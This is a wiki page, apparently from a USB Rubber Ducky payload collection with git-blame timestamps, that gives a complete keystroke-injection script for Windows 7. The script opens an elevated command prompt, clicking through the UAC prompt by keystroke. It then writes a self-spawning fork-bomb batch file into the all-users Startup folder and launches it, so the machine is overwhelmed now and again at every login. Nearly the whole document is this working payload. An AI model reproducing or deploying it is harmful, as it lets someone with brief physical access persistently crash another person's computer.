wiki-rubber-ducky-usb/Payload---fork-bomb.textile

36 lines
795 B
Plaintext
Raw Permalink Normal View History

2012-02-04 03:07:36 +01:00
Author: Jay Kruer with mad props to Darren Kitchen for helping me out with con copy, UAC bypass & file saving issues at DerbyCon :D
Duckencoder: 1.0
Target: Windows 7
Description: Opens a command prompt as administrator with run, uses con copy to create fork bomb batch(if you don't know what this is then see: http://en.wikipedia.org/wiki/Fork_bomb). Then saves the .bat file under the start up program folder and runs it the first time.
2012-02-04 03:07:36 +01:00
2014-10-05 01:03:44 +02:00
```
2012-02-04 03:07:36 +01:00
CONTROL ESCAPE
DELAY 200
STRING cmd
DELAY 200
MENU
DELAY 100
STRING a
ENTER
DELAY 200
LEFT
ENTER
DELAY 1000
STRING cd %ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup\
2012-02-04 03:07:36 +01:00
ENTER
STRING copy con a.bat
ENTER
STRING @echo off
ENTER
STRING :START
ENTER
STRING start a.bat
ENTER
STRING GOTO START
ENTER
CONTROL z
ENTER
STRING a.bat
ENTER
2014-10-05 01:03:44 +02:00
ALT F4
```